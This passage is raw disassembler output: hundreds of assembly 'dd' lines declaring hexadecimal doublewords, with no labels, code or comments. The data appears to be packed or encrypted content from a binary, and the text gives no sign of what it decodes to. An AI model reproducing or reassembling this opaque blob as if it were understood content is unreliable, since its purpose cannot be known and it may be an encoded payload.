		dd 0FE06B73Ch, 1E916799h, 0DAC3625Fh, 0A8319089h, 6F0CA083h
		dd 0FA5BB01h, 0FB31543Dh, 0F42E4B2Dh, 0CF218AA3h, 0A7C05AC8h
		dd 0B8808C44h, 45EE16FAh, 0D081FEAh, 5872F676h,	87F8FB0Bh
		dd 0F80F1167h, 19DD2375h, 10452849h, 0A094F13h,	0AC164C0Dh
		dd 901CB959h, 10EC4C29h, 0D756EC54h, 4CC6416Fh,	0FB21CF9h
		dd 0ED10F30h, 1D512DADh, 4274FE61h, 477C6DF3h, 0D58977C2h
		dd 87BEF5A0h, 0A7AEB15h, 14D03EF2h, 3AE607D0h, 0D2B47AA7h
		dd 595C26D2h, 0FCBA499Ch, 33E9A501h, 548DA4F4h,	0E01D6618h
		dd 2A15A205h, 0D6AC3605h, 831F7F10h, 5C17B1C0h,	8327A068h
		dd 1B491C4Eh, 0EB49B85Bh, 0E37705FBh, 908FE961h, 88868C6h
		dd 37947BD0h, 5D215283h, 852539E9h, 12646E48h, 3216E254h
		dd 0C30883F0h, 0ED2C733Eh, 0DE1AAF0Fh, 0FFBEE00Dh, 0F2E6D0E5h
		dd 738C6886h, 0CFC347FCh, 9B59EE88h, 1289D1F5h,	37C8B900h
		dd 0C17F651Eh, 0F18104C0h, 26AE78ACh, 3F84111h,	6A5F6686h
		dd 3082E9E8h, 26573330h, 2E2C3F51h, 26C80127h, 5202095Ch
		dd 8A75E164h, 5830AC80h, 7A1480D8h, 0B1CECD44h,	72A90096h
		dd 3058E788h, 50ECCF5Ch, 0FC5C3159h, 0C15DEE8h,	25B82CE2h
		dd 8948A401h, 0E1C858C1h, 0B99AC107h, 47416975h, 0B267E4F3h
		dd 10247E11h, 0A9A4807Ah, 99C58142h, 0CAEEDD9h,	0FA2C8CEh
		dd 0FF09F4B0h, 0BA4C102h, 0E6590E0Bh, 7D0E93A6h, 0CFA0355Eh
		dd 70C839Ch, 1ACA51F2h,	0E2B0034Ch, 0E140684h, 1AFF306Dh
		dd 4D2E2F6Fh, 6324B61Ah, 0BAA077A5h, 0FF6577AAh, 5250C9AAh
		dd 0B638F3B2h, 58E607EFh, 0B0A0CEFEh, 0F0C628B5h, 3EE2CC0h
		dd 448E3E81h, 5AC20124h, 676960E9h, 122E33BEh, 58815EF7h
		dd 0DC2CD6E9h, 0F9BE5600h, 2935E207h, 278BF049h, 0C26B965Eh
		dd 78E4E90Ch, 0F7805F7Bh, 3E2035D8h, 5520329h, 6C8D01C9h
		dd 0EEDAA3ABh, 413F0B40h, 44F5C96h, 57003074h, 0D679168h
		dd 315F4309h, 9341227Ch, 34FD44E1h, 720CE21Eh, 0FD99EAA0h
		dd 0DE1614h, 0A1685253h, 5A4A0B3Bh, 4FD12AC0h, 25E970DCh
		dd 1E1229EBh, 915561h, 9006EFC1h, 7F8417E2h, 3A41397h
		dd 73B5E950h, 0B5D8324Ch, 2732EB01h, 0AE354983h, 7ED2120h
		dd 153CD51h, 8548EC3h, 0BF57520Ah, 0FA890418h, 40E5E15Fh
		dd 245D502Bh, 0E1811E00h, 54F12E18h, 800E9883h,	3C4F68D2h
		dd 1C2C34B4h, 2883AB08h, 92AF2072h, 5BDA0116h, 0EF22428Dh
		dd 0B8500C63h, 5FD495E8h, 5860C2F2h, 77531D94h,	10F3D708h
		dd 494A0ADEh, 0E5E6DF3Dh, 4B56E912h, 0B353CC42h, 804CC401h
		dd 728852EFh, 0E9D40BDAh, 0B94E2DEEh, 6CEB8001h, 2820B551h
		dd 796F70DAh, 0D94CC366h, 0C0E5F9B1h, 6C4EE909h, 0C45834CEh
		dd 487D094h, 0C380F3E0h, 4A9FDFB1h, 538B51C1h, 43E9BEDAh
		dd 0D6AD3854h, 9412E869h, 6B59C058h, 32450760h,	26C1EBD1h
		dd 9F43602h, 28675F5Ch,	0FF6BF5DBh, 42AF0B03h, 0F6FA4C80h
		dd 0F13D63C6h, 0B67AA8EEh, 1FBCE49h, 79116EBDh,	14ED575Ah
		dd 0F700AC3Ch, 1FDC35D0h, 48763D47h, 6DB75C00h,	58C731B9h
		dd 9668784Fh, 0F87C8803h, 15429726h, 0A2884A69h, 647C0D6Eh
		dd 5F8C1393h, 808CC497h
		dd 114F589h, 0A924C576h, 0B281233Ah, 0D7EA8016h, 4C06CACCh
		dd 420E3666h, 58CCC208h, 0DD10B410h, 0C007E228h, 0F08005EAh
		dd 0E91404C8h, 0C9D1F833h, 256BB9DAh, 0F2315A8Bh, 0E0985h
		dd 9EB0D934h, 5A02D030h, 0E8C07404h, 0E2AAC905h, 0F1031865h
		dd 5B86C126h, 0CCE138A6h, 21B059F0h, 3898CD83h,	0E585D4Ch
		dd 7622056Eh, 2D801A17h, 9DB2EC1h, 59CB01C8h, 0D543A500h
		dd 41F3966Ah, 6233FFC7h, 346707FDh, 0A06F3FA8h,	6C25B4FEh
		dd 43DE4831h, 20849E7Ch, 200278EDh, 54C38B95h, 0D1555E54h
		dd 2878167Fh, 4BBDF0E7h, 1D18A12Ah, 0E90B4FBFh,	215F4ADFh
		dd 0F69F684Fh, 0CD286C79h, 92089809h, 0D14FA36Eh, 24C04E7h
		dd 8040CF46h, 0CE18E477h, 0EF01E909h, 5A7C845Dh, 0F0F10F92h
		dd 22664B51h, 0ED28027Eh, 0BC452692h, 0CB055158h, 0DC04F62Ch
		dd 0BD060B2Ah, 0DF833101h, 9027D548h, 0E16073C1h, 0ED6DFF90h
		dd 0ECE9194Bh, 77502617h, 0D4C659D3h, 21264AB1h, 0A5CE5872h
		dd 0BE7FEA83h, 0D131B8C0h, 0E90933B3h, 89552932h, 0B6A80083h
		dd 365B72Bh, 805AF728h,	3EF782C7h, 80A4EFA7h, 0F0E9E6C6h
		dd 0A786D858h, 52685EA0h, 24B8A635h, 92ADCFE9h,	1D6C13C1h
		dd 525F0537h, 0D6B00937h, 0D840D112h, 57243853h, 2103393Dh
		dd 0A0732A04h, 35E959C8h, 91692C40h, 51348BA8h,	0A7CB6663h
		dd 0F6591B4Ah, 0BE8BB40Ch, 403ED16h, 0F373B77Dh, 4F2E5791h
		dd 0EAE90242h, 58540278h, 3051BB99h, 0B6A85C2Eh, 8EED028h
		dd 5813D694h, 161FF416h, 0D0D714D6h, 0F95A8A8h,	1F6B7387h
		dd 7768F149h, 3EAA5425h, 11AA2FC7h, 6E9C102h, 59317A68h
		dd 5849324Fh, 23E9E5E8h, 4D311B40h, 18BD2DFh, 645A0490h
		dd 1A2FEFBBh, 8D060895h, 8438A126h, 0E9531076h,	0B3611C6h
		dd 0C0FECFB0h, 0C0FD530Fh, 2CD0F6ECh, 0C30988C6h, 10D83058h
		dd 406CE990h, 0FE7F5A71h, 345DE8F0h, 739B59D0h,	0F816140h
		dd 2C3922EFh, 6C500C18h, 0E97C8D06h, 7236583h, 7358B0EDh
		dd 0F1D4B506h, 9D9640BDh, 2DEAB330h, 692CA100h,	0E9E82905h
		dd 0AC8D5C63h, 0FD20CAA6h, 0F766334Fh, 45D19CA6h, 0D34624CAh
		dd 5D7FF69Ah, 5485D54Ah, 0A9B40782h, 0CC704CCCh, 0C13ACE66h
		dd 0DBAFE750h, 3B302840h, 0F80F5AD7h, 31A95B66h, 0F580D81h
		dd 0FA9F45B6h, 1F19CFC5h, 2460517Bh, 0D17919EDh, 0CD4CD823h
		dd 0E5BB3085h, 453FF100h, 0F2E94D2Eh, 99AA479h,	35516E96h
		dd 364F1BE3h, 10C50630h, 785A7F20h, 844E5EEh, 0EAD20AC1h
		dd 0BB2D5E00h, 26322524h, 71315A45h, 0CD3509DBh, 0B7430D9h
		dd 411103BDh, 15BE6A9Eh, 0EE290B0Eh, 5EF1655Dh,	8A1647F2h
		dd 0ED9FDD57h, 624A6C54h, 0D2851A22h, 0BE88FA13h, 74BA00F8h
		dd 81526056h, 7EECF20Eh, 670FF338h, 2375814Fh, 4B0D2F7h
		dd 7AC4C620h, 3E5AE9FCh, 474EA113h, 30123059h, 534A42DEh
		dd 0C740E389h, 900542BBh, 4EEC109h, 43E2BF0h, 9AE92F1Fh
		dd 43041340h, 0C54183DFh, 71E58EEFh, 24DDF18Eh,	4B1CB0FCh
		dd 0D59EB72Ch, 0E830AFCBh, 0F05B7FF5h, 0D8F7001Bh, 9A379F2Dh
		dd 0BA3C5254h, 7B041322h, 0C1338901h, 1F35FEE6h, 0EA89CCCFh
		dd 0B979AF62h, 1169268Ch, 48FD4817h, 21B3009Ch,	0E1B80C75h
		dd 27BA018Eh, 0C0E9C829h, 88B25472h, 0EC4FE1C7h, 0F3A59067h
		dd 502802A1h, 1282156h,	24D42DA8h, 0DDFEA016h, 0ED835B1Eh
		dd 0B2D226Fh, 6697132h,	1A815556h, 2746B804h, 98825E7Fh
		dd 8A108EAh, 34098BABh,	0E42A8F13h, 0B2F78EFBh,	1CA50124h
		dd 2F135568h, 0D606794Ch, 0C15C24Eh, 7C3CDA45h,	0C4F4E913h
		dd 0FC762197h, 54FE321Ch, 22549244h, 2602B92Ah,	1053663h
		dd 813BDAC8h, 6569EBA5h, 3BF7B000h, 5EF389AEh, 430BE3F2h
		dd 2792961h, 28BBD7h, 0CC0257BEh, 0CE810800h, 35257B3Fh
		dd 850EC04Eh, 460AE83Eh, 6D5BE9E2h, 28BA0104h, 0B7017254h
		dd 13C5F76h, 10021FAh, 2CCDE908h, 595412FBh, 51C906B3h
		dd 68593CE9h, 0D3B45048h, 51C6C769h, 546CA541h,	5976696h
		dd 0B5211483h, 0B95D8349h, 94C28A0Ah, 0E9834043h, 6E0B4B4Bh
		dd 730C8E31h, 71F3FE09h, 0AB6885D3h, 2D16CD44h,	3C1CD28Fh
		dd 48878674h, 0B27F49E0h, 0DAF71202h, 0B3E0004Ah, 2176C367h
		dd 0D229F24Ch, 339E0FE4h, 8EF8CB2Bh, 705A5528h,	0A2385025h
		dd 5C857C81h, 7B1499BEh, 0FF1B34E3h, 2A2C773Ch,	50529D36h
		dd 2B8B45ACh, 0DE46F261h, 0BD4C704h, 2ABC65C9h,	338CAD16h
		dd 0EABF0057h, 0E93D205Ah, 0E1A98C39h, 0FD43D8E7h, 3EE154Ch
		dd 0BC6756DBh, 0F95FCA89h, 805D177Eh, 0E95651A3h, 71003B4Ah
		dd 0CB81E3D1h, 12451DD7h, 40C39F75h, 98A6DBAh, 9A971C5Fh
		dd 0A3F7A8EBh, 0F28AF729h, 0E4C9C15Eh, 235A485Fh, 5D545582h
		dd 839B0A71h, 1613E50Ch, 0B0AD2E0Ah, 5FFB0184h,	5ED89EB4h
		dd 9DEA20E2h, 0D22C5966h, 8488C114h, 0CF8100C6h, 72D1FF5h
		dd 354A3F98h, 12B03026h, 9C65F15h, 0DA81DE04h, 30DBA712h
		dd 18926F78h, 4DEAB22Eh, 84245104h, 4A737BC3h, 0FA3506ABh
		dd 0ED67116Dh, 0C32C570h, 0E5B560E1h, 0FC5E0B87h, 39804D64h
		dd 0C8FBE270h, 0F8E90934h, 821DED00h, 59CE89DDh, 984B1E59h
		dd 67026D0Fh, 38E947C6h, 2F934A53h, 88AD3CA0h, 0C45AA181h
		dd 6696A0C7h, 0AA306DFFh, 5550DA9Ch, 0EE68500Bh, 99C6520h
		dd 0CDB15358h, 10A304D8h, 0E912CE58h, 816A84B0h, 570B25BEh
		dd 6357E225h, 7A7E5452h, 0F76A2509h, 0F87A80D6h, 0A058E15Ah
		dd 3007C7B8h, 0CE1DFCD8h, 0E02853BDh, 7A98C873h, 0FB74CF00h
		dd 35F12D14h, 0D2D4E1C6h, 0CD75FF17h, 7B75F2E8h, 0A6D0248h
		dd 0C6310C8Ah, 57BA542h, 0E915F920h, 3981161h, 8753DE6h
		dd 3C660312h, 0E97E635Dh, 18C7A8C4h, 893B1CB9h,	0C5C2F8CBh
		dd 0C252560Fh, 9F01BFBh, 0FE850F13h, 4A684549h,	0F27DC4CFh
		dd 3438E92Fh, 0FD89548Bh, 0ABB5AED1h, 0E9839CA2h, 625BD482h
		dd 0A8B9BB28h, 59CF08h,	0A833402Dh, 69A1E942h, 0BD4003B4h
		dd 7D164A32h, 123A300Ch, 5628C3FDh, 4B80ED7Eh, 18F23E3Dh
		dd 629CEB02h, 95426CDFh, 0E0895248h, 0D4E8F2EFh, 0F71C2CACh
		dd 0D812B504h, 9EE95460h, 0F07BD264h, 0D4B902E8h, 23335C89h
		dd 31AB3DBh, 6B1EE387h,	7A730977h, 0A4601114h, 132620B5h
		dd 0E3311068h, 81B4103Ah, 947B5937h, 22D5B1BAh,	92A14917h
		dd 0AF0F3220h, 0B514CC8h, 68C0793Eh, 667F2927h,	0D48839B6h
		dd 5B1DE724h, 34873CE9h, 39975674h, 273C53E9h, 1DB968A0h
		dd 0E90B3D09h, 41242D6Ah, 0A5F5DB68h, 6C301D90h, 0ACE91657h
		dd 82BA1582h, 60954DA2h, 1C2F2D1Fh, 0DF0132D1h,	39735857h
		dd 64FE94B2h, 5AD9065Dh, 0D644C024h, 5CDC3F5h, 0EE379805h
		dd 4E234C4h, 0E65EE909h, 0EDF64424h, 4E497B81h,	665A03F0h
		dd 820FB151h, 8F8474CBh, 837EB80h, 0E3E4E88h, 921CB068h
		dd 0A63F615Eh, 3916B3B6h, 0CE871E81h, 72E69DDh,	0E5C5FEEFh
		dd 5F8538Ch, 8D5BA34Ch,	0B29417C8h, 0D571CECAh,	0E3D2904Fh
		dd 51E984C4h, 0DB81D90h, 0C1952E9Eh, 21253E5Fh,	81BBA1C0h
		dd 321E0C1Dh, 0D85F30Ch, 99DE4DE9h, 7DD3015h, 0E2365A2Eh
		dd 3CFB75C5h, 70EE3BBBh, 242D8B93h, 4C94800Ch, 3D95AD05h
		dd 5C2912B2h, 0A268042Dh, 405CE3Fh, 2FE9CA01h, 0EF4C0CF8h
		dd 3EB839D6h, 0F568C260h, 25F931Dh, 496B1057h, 0E1FEC643h
		dd 8CAEB3B0h, 0C0F7FB81h
		dd 531A59C8h, 118017B7h, 0F030C3D3h, 150209F3h,	0F7584FC7h
		dd 3F1B1337h, 0E4B2E5DEh, 315E1BF7h, 680EE9E6h,	360B7A3Bh
		dd 847BEB6Bh, 51A70DB7h, 450F1150h, 91722B45h, 147012EFh
		dd 0D06316Dh, 881BE960h, 4D00BD55h, 0B8547351h,	0EB788A94h
		dd 92DAF70h, 29151672h,	0CF40A050h, 7C1C2968h, 0FBF809Dh
		dd 2939A944h, 0E92555B8h, 0F7F681FDh, 0AAE048D8h, 0BEB1C04Eh
		dd 335B13A6h, 960046B0h, 525DCD25h, 222F5BAh, 0D63111FEh
		dd 285068E9h, 6EEEEFA0h, 16972D80h, 87F6F7Dh, 0A53F0569h
		dd 5BEC890Bh, 263C9044h, 51CA545Fh, 0EA002311h,	46A2E5D4h
		dd 5A7ED709h, 0F418A49h, 939B353h, 0DEDA0FCh, 50DC4F88h
		dd 30758A38h, 0C7584612h, 0C13902B2h, 8E70129h,	0D9F7CF87h
		dd 4A1E08B0h, 7530AA23h, 515A0E4Fh, 21E3281Eh, 0DCCB20A6h
		dd 60BCAFAh, 0C3288314h, 466BE74Eh, 545724ADh, 0B0ADA067h
		dd 0F21ED2AFh, 0B306D3C9h, 983F0F4Ch, 0DE584878h, 388B9724h
		dd 0A45947E4h, 8095D1B5h, 284EB561h, 805A0EF5h,	0EBC91AC3h
		dd 0F0CAA84h, 15783BFh,	5852D103h, 0E5801481h, 20D5F674h
		dd 301E2981h, 0EDC25BFDh, 7027E94Dh, 615C4EDEh,	425DEF84h
		dd 0E27E64D8h, 0B458C750h, 0D23160D3h, 76943FE9h, 9505243Fh
		dd 0C3200171h, 31FCA133h, 0C40D06B4h, 62BBC9Ah,	8B6EE80h
		dd 0A9B1F6DEh, 0F36D059Fh, 0D0E04A7Ah, 8897C2B5h, 0EA5AD126h
		dd 0E7595913h, 0EF351006h, 0F606AECBh, 0B0502851h, 669A4594h
		dd 24C44E63h, 5CC12AECh, 6C5AE950h, 72B903F9h, 0D2142D64h
		dd 99C87089h, 8F5B0EE6h, 24E3A373h, 6884B732h, 76A86A74h
		dd 22E77FC5h, 0ADEC87EDh, 0E90674B6h, 99F05B9h,	4EBC2BC6h
		dd 797A1A87h, 3F0C9A11h, 5910D709h, 397A9983h, 0F6CD4130h
		dd 9FC095D7h, 28CB50ABh, 205EF3A9h, 7B16CE8Bh, 0CF0320EAh
		dd 9909596Ah, 0F6DDF901h, 0DC4180E2h, 0FAF8755Bh, 313EBCF7h
		dd 5067C28Eh, 3A5292CBh, 71B2D4F7h, 4255A125h, 0B4070EFAh
		dd 0A9E90B11h, 47DE9E8h, 4E5A086Ch, 24D00107h, 5B1B5A80h
		dd 0EC83D408h, 6B6C0ADh, 0F8E673C0h, 0FE7D27F6h, 0AFF27B41h
		dd 0D9BD9B50h, 0BFA83F72h, 5780E00h, 17D2293Bh,	5FADC031h
		dd 19A2EB83h, 0BE0EBD64h, 724B2C7Dh, 0B0CDA08h,	0B74A4A5Dh
		dd 35D74541h, 3B4BD801h, 8412FB2Ch, 18EFCC0Ch, 0D501165Dh
		dd 106BF25Ah, 0BF2E447Dh, 3CDE4D80h, 0C54F4E46h, 0D310FA84h
		dd 0FA1C8AB0h, 5A996A97h, 0E0E32005h, 0D301892Dh, 3CCBA5Ah
		dd 877CFB73h, 0F3382813h, 0E1891370h, 331B5CCAh, 169C5E0Ch
		dd 0E7C04841h, 18305203h, 0FE8814D1h, 0A205C85Bh, 57ECFFE9h
		dd 0DEC2984Eh, 3685B0Bh, 0A4EFC464h, 985E4F95h,	0DD883CEAh
		dd 0D9C181E5h, 81C93007h, 0F5A1F105h, 3ABCD7EDh, 480F0C10h
		dd 72410627h, 1260A1Ch,	613678A9h, 6EF211E9h, 581DD532h
		dd 9B87D4Ch, 1781350h, 0DFA5B18Fh, 2261602h, 21230422h
		dd 43F12163h, 13685C1h,	0CFC95BD9h, 1C029402h, 5F9F625h
		dd 684CC13h, 55EDB49h, 0D7880D45h, 0D628127Fh, 2DC4043Fh
		dd 0EFBB004Dh, 9030084Bh, 44F80256h, 0EBC150EDh, 16D38286h
		dd 783B9602h, 40DD8911h, 82E69936h, 0BE65FB90h,	48810CBh
		dd 96825989h, 0A93410Bh, 3D23C7CCh, 35DB1FE9h, 0FBC5089Dh
		dd 8F01392Ch, 12D5F48h,	8038265h, 40B80559h, 0F0C7547h
		dd 148094F2h, 0AEB813Fh, 7E521C1Dh, 718E380h, 13F777B5h
		dd 40A2E9DBh, 4A7B97Eh,	311876F0h, 615C58C1h, 90C9793Bh
		dd 0DFF947Bh, 0CDDA295Ah, 200129EAh, 680A9783h,	0EAE842EBh
		dd 0DC4A3271h, 390CA280h, 969B86Dh, 55F932Bh, 0E0C170C8h
		dd 0F42584B0h, 0B6F0E61Dh, 9521687h, 0E3793431h, 6785AF96h
		dd 984A95A8h, 0E84D3076h, 85384BC1h, 0FE00F391h, 0D20EF6CAh
		dd 0EB05E2C0h, 4A5601C2h, 0AE70D030h, 79BE8109h, 0F029126Fh
		dd 0B0E0190Eh, 3402875Ah, 0A6D0E5D7h, 3203C1B1h, 161D957h
		dd 760D04DAh, 8F1DED18h, 40350710h, 0E9FEBDBBh,	46565F59h
		dd 0A526EB36h, 5C824C7Fh, 4D08015Eh, 70DD0165h,	63821AE1h
		dd 2086BC63h, 4AC3A0Eh,	383D03CCh, 1380DEA7h, 1C980DBDh
		dd 0EA312C13h, 53DA7D19h, 71AC9E55h, 206ABCB5h,	0E0886244h
		dd 90DCD708h, 5B26B348h, 0C92D3C24h, 40D2985Ah,	49E92569h
		dd 335019A3h, 3696E753h, 5DA0B05Bh, 0E9F4FA06h,	12421ADh
		dd 895982Dh, 0F1C729ABh, 68E364B8h, 82132AEDh, 267CA3F7h
		dd 0BDCCF622h, 4859A840h, 25A36F17h, 0CBCDE239h, 62314F60h
		dd 0BCA13F5Ch, 12BF6A51h, 80C9689Bh, 1E6AB930h,	6D7C1E30h
		dd 0BB8F65h, 3710E0EEh,	0B0CE2928h, 0AA0882BFh,	0E7A50239h
		dd 2372B23Ah, 29C26EA8h, 0A026B97h, 1209C79Ch, 0ACFE536Eh
		dd 0D70A62B5h, 34B40D00h, 25627ABAh, 0F4224410h, 68005D8Fh
		dd 4E9E9396h, 315B8C3Fh, 259C94h, 5AD02977h, 1BFE0E2Dh
		dd 3A16E5Ch, 9451D725h,	7507051Ah, 0F7D011A3h, 2E2D081Ch
		dd 8F0F865Ah, 0BBEB2096h, 50629290h, 0F4292288h, 4FF5EAE1h
		dd 224177E9h, 3DEA824Eh, 602E2103h, 415EE69h, 6BE977E6h
		dd 3C07A91Fh, 288110F2h, 9CD1CB50h, 2D942516h, 43B2C680h
		dd 0CA0BB52Fh, 0E9080171h, 29800645h, 0E82859C8h, 0E0B90D2Ch
		dd 0A34233Fh, 0A7332128h, 42BB50C5h, 66A76093h,	0CC9EE9F7h
		dd 453FEE59h, 0D57FE923h, 0A562ACDDh, 724A40BDh, 84090CCBh
		dd 72E0A48Dh, 979CB058h, 0F8F1A191h, 0B3BD3533h, 240DA47h
		dd 0C3885Ah, 46E9D4CAh,	468D2052h, 0FC1A753Fh, 4C15EE5Eh
		dd 0CE22966Dh, 0BA278531h, 0E79B17F8h, 12695D9h, 332C5854h
		dd 3C1C05C0h, 1144239h,	2D072DC8h, 204CC559h, 0DC5E5ED4h
		dd 547BBAE4h, 8123F900h, 133E66CAh, 0BEAEC2Ah, 448451F3h
		dd 2878308Bh, 0C019B577h, 60603EDh, 5124E6F5h, 35A69A5Fh
		dd 85FB36C1h, 1FA052ECh, 0C5735371h, 0F9EE2DEFh, 12402FF6h
		dd 987380F7h, 0EFC1162Bh, 70530B02h, 0D5D222A7h, 0BC58C5CFh
		dd 0F5E9821Fh, 0D232547Bh, 469797Ch, 10BD85Eh, 6F81B02h
		dd 680438D9h, 30A860E0h, 2E77D6C1h, 0BDBE8934h,	8056F356h
		dd 5207E8C1h, 461403BAh, 7A15662h, 31FC6144h, 6E11F260h
		dd 0C2884AFEh, 0FBE321FCh, 9B0E73A3h, 435B66C7h, 0EAFB891Ch
		dd 191A2AEh, 5AD45CD1h,	8B9ECAC5h, 74AFC03Ch, 17A9B6C8h
		dd 68C74296h, 8E9A253Ch, 3F4255D4h, 5F37AFEh, 12916A1Bh
		dd 196084Ah, 2FEDFC44h,	27EFF876h, 9C3D43Bh, 8128E4F1h
		dd 743C31Dh, 0F3D93ADAh, 60C10EECh, 0C07B0C6Ch,	17F3F68h
		dd 0E961C291h, 974B97Dh, 4A64EED8h, 206CD915h, 6DBA0ADFh
		dd 0E103E72Eh, 22F52D07h, 0E9FD8970h, 0DF74613Ch, 4C2C8BE8h
		dd 0D0A04031h, 0B3053508h, 318ABB44h, 3AFC36D4h, 45FFC326h
		dd 821C253h, 0F220EA7Ah, 51829D2Dh, 3776380Ch, 48E76850h
		dd 54C51F77h, 2D1AC65Bh, 0B36D4D95h, 0B10854A8h, 18553AE9h
		dd 52E0E059h, 0DFAAE197h, 8001021h, 931341E9h, 8B1624DDh
		dd 11DBEFB0h, 0D36427ADh, 0B8C90C38h, 880DEA25h, 0D6BB523Fh
		dd 9A42FA8h, 0E6C15AD6h, 886FE804h, 119DC54Fh, 0EA6C52C6h
		dd 9DC77A70h, 3DD17909h, 0BAB00216h, 0DCF6008Fh, 8817EC80h
		dd 0C059E9E2h, 0AC5F2828h, 90350D20h, 22B85DCEh, 0D2DF7493h
		dd 0E6503EF2h, 997A16B7h, 8F8A697Eh, 0C21613D4h, 0FF895B03h
		dd 0A0ED2004h, 544A31A8h
		dd 98A675C7h, 6E68125Dh, 8BB7A25Dh, 8007D35Bh, 3DDF4F49h
		dd 456499E9h, 0B2521CC7h, 1CC95C6h, 68C8BF0Fh, 376F5CCDh
		dd 141C0AD0h, 4E25EEB5h, 56740262h, 44210E42h, 71C4C43Ah
		dd 0E50E13FEh, 2D3B632Fh, 0EFBAE156h, 0C354407Eh, 48714655h
		dd 80BCEB0h, 80098D5Fh,	0B61388C7h, 76E92A1Bh, 0CBB7B48Fh
		dd 9A2A2DF2h, 0EF9C9EDEh, 25787F88h, 49E9E840h,	2A2EA994h
		dd 454EFC82h, 57DC6073h, 28B02C68h, 750C1033h, 30B78B32h
		dd 54F1B255h, 0AE62D96h, 45F94BFh, 0E63C3EBAh, 4E2CFC2Bh
		dd 0C5510387h, 0D043DF42h, 0C475D0F2h, 45D9870h, 906F43C2h
		dd 0CFC2C160h, 0E971EC7Dh, 36C45E4Eh, 5AB0D6C8h, 58693203h
		dd 0B4CF1112h, 5768E586h, 0F2CC97Ch, 6152DC0Ah,	6134F33Dh
		dd 0E2CDA0C8h, 7F692470h, 3CC13C43h, 0F0307824h, 30BF3437h
		dd 4DAF2875h, 26601699h, 0E7240740h, 47CF9005h,	24482030h
		dd 1F120F39h, 0AD03853h, 2F103078h, 0B90559F6h,	0D731520Bh
		dd 5E7FD85Ah, 0B2340079h, 8E2C06Eh, 7CF2800Fh, 9DCB9FFEh
		dd 854CF378h, 986C7368h, 369D0277h, 0CE5C4F19h,	919A44A7h
		dd 0A0DD7A5Ch, 0B5278668h, 659C1519h, 0C688ACBFh, 54066850h
		dd 0FF93AC6Ah, 20502F53h, 4BC0E6E0h, 672D468h, 6E49805h
		dd 716631CAh, 56090C0Fh, 102B954h, 4F8D7A09h, 8B2E1A6Ah
		dd 70AE000h, 43605D9Dh,	0FD492F0Eh, 1D86BEEEh, 0BA68B0E1h
		dd 0B4303C7Ah, 0C38A484Ch, 0CCB3584Bh, 0C9715A25h, 0F830E942h
		dd 5700B7A2h, 4429157Fh, 7650F4EDh, 9D82A191h, 0FC105866h
		dd 0B5FB8DF9h, 0CF456C70h, 0CD4F85EEh, 12F19540h, 0FB40100Ch
		dd 4A2D63EEh, 88C5F672h, 0E5680514h, 0B3A74469h, 92C8ADC0h
		dd 60CCDDA0h, 0D0ED65B6h, 0DF3BCE8Eh, 0A5527D1h, 0E501CB39h
		dd 40E8092Ch, 41D4CDD9h, 56DB8D3h, 0CBEFBC5h, 7B87008Eh
		dd 1603C75h, 45E5E97Eh,	0D1BF0908h, 2513A622h, 8145B466h
		dd 0F5E6B7AFh, 562521ACh, 0B3D190BEh, 272C9249h, 13C612EDh
		dd 8021B701h, 72E9C4EFh, 0DC5CB128h, 3B32ECD0h,	0A984490Ah
		dd 165CA831h, 0BC00C889h, 9E370CEDh, 0C5013404h, 58080B82h
		dd 0E98697C5h, 0C503C11h, 63B10566h, 7C780208h,	7E852D1Fh
		dd 2F02909h, 4ED200h, 0C680D6F6h, 0EE248373h, 0DD3C6BC2h
		dd 4331217h, 29897BE8h,	0B4440056h, 1AEB8001h, 0D202E66h
		dd 49D36802h, 2584C26Ch, 9949F6D5h, 0C42CF38Ch,	2B438D4Ah
		dd 2A89AE29h, 0E20F791h, 9B7BA9E2h, 5857748h, 0BA6CAF5Bh
		dd 36C5921Ch, 0A0033ED2h, 0E9DA19F4h, 1A04D501h, 14091C08h
		dd 23252A65h, 17E9C1EEh, 332580D2h, 0A0068101h,	2D507D58h
		dd 0F003A2AFh, 0B1510F0Fh, 2B0053FBh, 0B050DBF6h, 362C0202h
		dd 5703E8C0h, 0BBE95598h, 81C8524Eh, 0A5CA8283h, 0EB08DECh
		dd 0FCC18F4Ah, 0D8C8D0F6h, 74A17D2Ch, 34FB3E44h, 0AC58897h
		dd 8CC8EB82h, 5E6B62E9h, 0B60F82B0h, 89436F2Ah,	0C1806006h
		dd 0F70312E5h, 4AA301DDh, 13C176Ch, 60EC08F8h, 5ED0BC1h
		dd 0F42236E9h, 0C966505Eh, 4502E898h, 0E933D944h, 12FC5E2Bh
		dd 0BC0C035Ah, 46DFC328h, 0E5052D68h, 48C965ADh, 27D14A80h
		dd 0C13C0C90h, 1A9602E3h, 76A2E6BAh, 3DA7093h, 624E91A7h
		dd 0FF79D008h, 0D748C625h, 2180E007h, 0BCCCD05Ah, 4D36B009h
		dd 0F443E3B9h, 4A426689h, 0B37E6E82h, 0D229E40Bh, 0E970386Eh
		dd 8387CB4Ah, 376356h, 3A669CBEh, 5EF3096Eh, 4C79C15Ch
		dd 82F920DEh, 6E8DD6DAh, 0D2EF0413h, 685F02B8h,	0C07AD45Dh
		dd 19491B03h, 0E35380BDh, 5E8C53C4h, 28F5C110h,	0CF81206Fh
		dd 3912680Ch, 13EF0C70h, 0FD3D6C66h, 38270522h,	0E8851E74h
		dd 0D4008BECh, 316C6916h, 19BE5FFBh, 0D9CE003Eh, 503CDA63h
		dd 6BFF3E68h, 58C5FC24h, 0C5B3C629h, 0ECF1210Ch, 240B72E9h
		dd 53E73E59h, 5E2D0748h, 560809h, 8C657C02h, 0DE893FB2h
		dd 5F3F2318h, 22975DEAh, 5BCB6130h, 0C8579225h,	3240BFC6h
		dd 0F65903B5h, 1CF580DDh, 1E89063Bh, 0CD40E5C5h, 8EDC040h
		dd 0F4D575F6h, 52660502h, 99186AE9h, 8E1F2AF7h,	7C024709h
		dd 3B425148h, 0C5B320Eh, 95199EF0h, 8604E801h, 0AB68F066h
		dd 262F7562h, 395E094Ah, 0B06EB02h, 198D805h, 277B239h
		dd 2E5A54E9h, 2D40FB20h, 692A1F07h, 0E852923Ah,	2C195616h
		dd 1B126651h, 955F168Ch, 3EB4FD6Ch, 2DFB4CA5h, 6E6559CFh
		dd 3173C525h, 70565547h, 7C822713h, 0B1EF880Bh,	2989F125h
		dd 275A2554h, 6BE0E917h, 183FE037h, 43CFC88h, 55E920D9h
		dd 9928EA73h, 54024EC6h, 3C22C811h, 9B85C74Eh, 63832BDh
		dd 245DC9DEh, 0C63F0325h, 331D1348h, 0BD3C468Ch, 0C65CB21Ch
		dd 0BE5620E6h, 8C5C99Ch, 31343319h, 0E90D06B1h,	0AD342A78h
